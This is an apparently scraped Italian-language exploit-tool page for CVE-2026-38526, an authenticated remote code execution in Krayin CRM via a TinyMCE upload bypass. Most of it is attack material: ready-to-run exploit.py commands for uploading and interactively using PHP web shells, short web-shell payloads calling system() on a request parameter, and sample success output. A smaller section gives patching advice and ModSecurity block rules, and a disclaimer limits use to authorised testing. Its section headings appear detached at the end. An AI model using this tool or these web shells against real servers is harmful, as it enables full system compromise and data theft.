KrayinCRM-RCE-Exploit-CVE-2026-38526 — Exploit CVE-2026-38526 per Krayin CRM v2.2.x - RCE autenticato tramite bypass del caricamento file di TinyMCE. Include shell interattiva, payload multi-tipo, generazione automatica di shell e verifica. Autore: Sudeepa Wanigarathna. Solo per test autorizzati. | Kitploit

# Sfruttamento base con shell generata
python3 exploit.py -t http://target.com -u [email protected] -p password

# Caricamento di un file shell PHP personalizzato
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Generazione di shell avanzata con modalità interattiva
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Generazione di un file shell senza sfruttamento
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Utilizzo con proxy per test/debug
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# Output JSON per automazione
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Modalità verbosa con timeout personalizzato
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# User-Agent e intestazioni personalizzate
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

Shell Base (basic) Esecuzione semplice di comandi con la funzione system().
```
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
```
Shell Avanzata (advanced) Shell ricca di funzionalità con:
- Metodi multipli di esecuzione comandi
- Bella interfaccia web simile a un terminale
- Supporto cronologia comandi
- Visualizzazione dell'utente corrente e nome host
Shell Minima (minimal) Impronta minima per la furtività.
```
<?php system($_GET["cmd"]); ?>
```
File Manager (file_manager) Interfaccia completa per la gestione dei file:
- Caricamento file
- Eliminazione file
- Creazione directory
- Navigazione
- Visualizzatore permessi file
Shell Personalizzata (custom) Usa il tuo file shell PHP con il parametro -f.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Opzione	Descrizione	Default
`--timeout`	Timeout della richiesta in secondi	30
`--retry`	Numero di tentativi di riprova	3
`--retry-delay`	Ritardo tra i tentativi in secondi	2
`--user-agent`	Stringa User-Agent personalizzata	UA browser default
`--header`	Intestazioni HTTP personalizzate (Key: Value)	Nessuno
`--verify-ssl`	Verifica certificati SSL	False
`--proxy`	URL proxy HTTP/HTTPS	Nessuno
`-v`, `--verbose`	Abilita output di debug	False
`-q`, `--quiet`	Sopprime tutto l'output	False

Azioni Immediatamente:

# Aggiornare alla versione patchata
composer update krayin/crm

# Disabilitare temporaneamente l'accesso amministratore
# Rimuovere account amministratore non necessari
# Cambiare tutte le password amministratore

Indurimento del Caricamento File:

// Validare il tipo di file in base al contenuto, non solo all'estensione
// Implementare una politica di sicurezza del contenuto
// Usare un Web Application Firewall (WAF)
// Abilitare la scansione dei file caricati

Controllo degli Accessi:

# Limitare gli IP amministratore in .htaccess
# Implementare MFA per account amministratore
# Audit regolare degli amministratori
# Politiche di timeout delle sessioni

Regole WAF (ModSecurity):

# Bloccare caricamenti di file sospetti
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'Caricamento file PHP bloccato'"

# Bloccare web shell
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Comando shell bloccato'"

QUESTO SOFTWARE È FORNITO "COSÌ COM'È" E QUALSIASI GARANZIA ESPLICITA O IMPLICITA,
INCLUSIVE, MA NON LIMITATE A, LE GARANZIE IMPLICITE DI COMMERCIABILITÀ
E IDONEITÀ PER UNO SCOPO PARTICOLARE SONO DECLINATE. IN NESSUN CASO
L'AUTORE SARÀ RESPONSABILE PER DANNI DIRETTI, INDIRETTI, INCIDENTALI,
SPECIALI, ESEMPLARI O CONSEQUENZIALI DERIVANTI IN QUALSIASI MODO DALL'USO
DI QUESTO SOFTWARE.

L'USO DI QUESTO STRUMENTO PER SCOPI DIVERSI DA TEST DI SICUREZZA AUTORIZZATI
È ILLEGALE E NON ETICO. L'AUTORE NON SI ASSUME ALCUNA RESPONSABILITÀ PER
L'USO NON AUTORIZZATO O EVENTUALI DANNI CAUSATI DA QUESTO STRUMENTO.

# Abilitare il logging verbose
python3 exploit.py -t http://target.com -u admin -p pass -v

# Con proxy (Burp Suite, ecc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080

# Riferimento rapido
python3 exploit.py -t URL -u USER -p PASS [OPZIONI]

# Opzioni:
#   -f FILE           Carica shell personalizzata
#   --shell-type TYPE Base|Avanzata|Minima|File_Manager|Personalizzata
#   -i                Modalità interattiva
#   --proxy URL       Proxy HTTP
#   -v                Output verbose
#   -o json           Output JSON
#   --generate-only   Crea shell senza sfruttamento
#   --timeout SEC     Timeout richiesta
#   --retry N         Numero di tentativi
#   --user-agent UA   User-Agent personalizzato
#   --header "K: V"   Intestazioni personalizzate
#   --verify-ssl      Verifica certificati SSL
#   -q, --quiet       Sopprime output

ID CVE	CVE-2026-38526
Software Affetto	Krayin CRM v2.2.x
Tipo di Vulnerabilità	Esecuzione Remota di Codice Autenticata (RCE)
Autenticazione Richiesta	Sì (accesso a livello Amministratore)
Impatto	Compromissione completa del sistema
Punteggio CVSS	8.8 (Alto)

Parametro	Descrizione
`-t`, `--target`	URL di destinazione (es. `http://192.168.1.100`)
`-u`, `--username`	Nome utente o email dell'amministratore
`-p`, `--password`	Password dell'amministratore

KrayinCRM-RCE-Exploit-CVE-2026-38526

Più Popolari

🚨 Dettagli della Vulnerabilità

Versioni Affette

✨ Caratteristiche

📦 Installazione

Requisiti

Installazione Rapida

File dei Requisiti (`requirements.txt`)

🚀 Utilizzo

Sintassi di Base del Comando

Parametri Richiesti

Esempi di Utilizzo Comuni

🐚 Tipi di Shell

📝 Formati di Output

Formato Testo (Default)

Formato JSON (`-o json`)

Formato Silenzioso (`-q`, `--quiet`)

⚙️ Opzioni Avanzate

Esempio di Intestazioni Personalizzate

🔒 Rilevamento e Prevenzione

Segni di Compromissione (IoC)

Misure di Prevenzione

🛡️ Divulgazione Responsabile

Cronologia

📜 Disclaimer

🔧 Risoluzione dei Problemi

Problemi Comuni

Modalità Debug

🤝 Contribuire

📚 Riferimenti

⭐ Supporto

📊 Scheda di Riferimento Rapido dei Comandi